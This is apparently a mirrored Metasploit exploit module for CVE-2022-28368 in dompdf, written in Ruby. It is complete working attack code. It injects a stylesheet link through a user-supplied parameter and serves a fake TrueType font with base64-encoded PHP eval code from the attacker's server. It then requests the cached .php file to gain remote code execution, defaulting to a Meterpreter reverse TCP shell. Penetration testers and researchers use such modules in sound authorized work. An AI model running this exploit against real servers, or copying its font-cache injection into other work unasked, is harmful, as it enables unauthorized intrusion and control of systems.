Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-DOMPDF_RCE_CVE_2022_28368-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
        'Description' => %q{
          This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
          in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
          preserves the original file extension when caching fonts downloaded via CSS
          @font-face rules. By pointing a @font-face src to a .php file containing a
          valid TrueType font header with embedded PHP code, the file is saved in the
          dompdf font cache (lib/fonts/) with its .php extension intact. The cached
          file can then be executed by directly requesting it from the web server.

          For dompdf versions <= 0.8.5, remote font loading works regardless of the
          $isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
          $isRemoteEnabled option must be set to true.

          This module requires the ability to inject HTML/CSS into the data processed
          by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
          parameter) and that the dompdf font cache directory is web-accessible.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maximilian Kirchmeier',   # Vulnerability discovery (Positive Security)
          'Fabian Bräunlein',        # Vulnerability discovery (Positive Security)
          'rvizx',                   # PoC exploit
          'msutovsky-r7',            # Metasploit module final
          'Adithya Pawar'            # Metasploit module init
        ],
        'References' => [
          ['CVE', '2022-28368'],
          ['GHSA', '56gj-mvh6-rp75'],
          ['URL', 'https://positive.security/blog/dompdf-rce'],
          ['URL', 'https://github.com/rvizx/CVE-2022-28368']
        ],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2022-04-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
        OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
      ]
    )
  end

  FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
            "\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
            "\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
            "\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
            "\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
            "\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
            "\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
            "\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
            "\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
            "\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
            "\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
            "\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
            "\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
            "\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
            "\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
            "\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
            "\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
            "\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
            "\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
            "\x00\x00".b.freeze

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
    )

    return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
    )

    return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200

    version = Rex::Version.new(res.body.strip)

    return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')

    Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
  end

  def on_request_uri(cli, request)
    css_payload = %<
    @font-face {
    font-family:'#{@font_family_name}';
    src:url('#{@malicious_font_uri}');
    font-weight:'normal';
    font-style:'normal';
  }
  >
    font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
    case request.uri
    when "/#{@css_name}"
      print_status('Serving exploit CSS file to dompdf...')
      send_response(cli, css_payload, {
        'Content-Type' => 'text/css'
      })
    when "/#{@font_name}"
      print_status('Serving font TTF file to dompdf...')
      send_response(cli, font_payload, {
        'Content-Type' => 'application/octet-stream'
      })
    else
      print_error("Unexpected request: #{request.uri}")
      send_not_found(cli)
    end
  end

  def send_payload
    param_name = datastore['INJECT_PARAMETER']

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH']),
      'method' => 'GET',
      'vars_get' =>
      {
        'pdf' => nil,
        param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
      }
    })
    return true if res&.code == 200

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH']),
      'method' => 'POST',
      'vars_post' => {
        param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
      }
    })

    return true if res&.code == 200

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH']),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
      }.to_json
    })

    return true if res&.code == 200

    false
  end

  def trigger_payload
    send_request_cgi({
      'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
      'method' => 'GET'
    })
  end

  def load_malicious_font
    @font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
    @css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
    @font_family_name = Rex::Text.rand_text_alpha(8)
    binding_ip = srvhost_addr

    proto = datastore['SSL'] ? 'https' : 'http'
    @malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
    @malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"

    fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
  end

  def exploit
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      }
    })
    load_malicious_font

    register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")

    trigger_payload
  end
end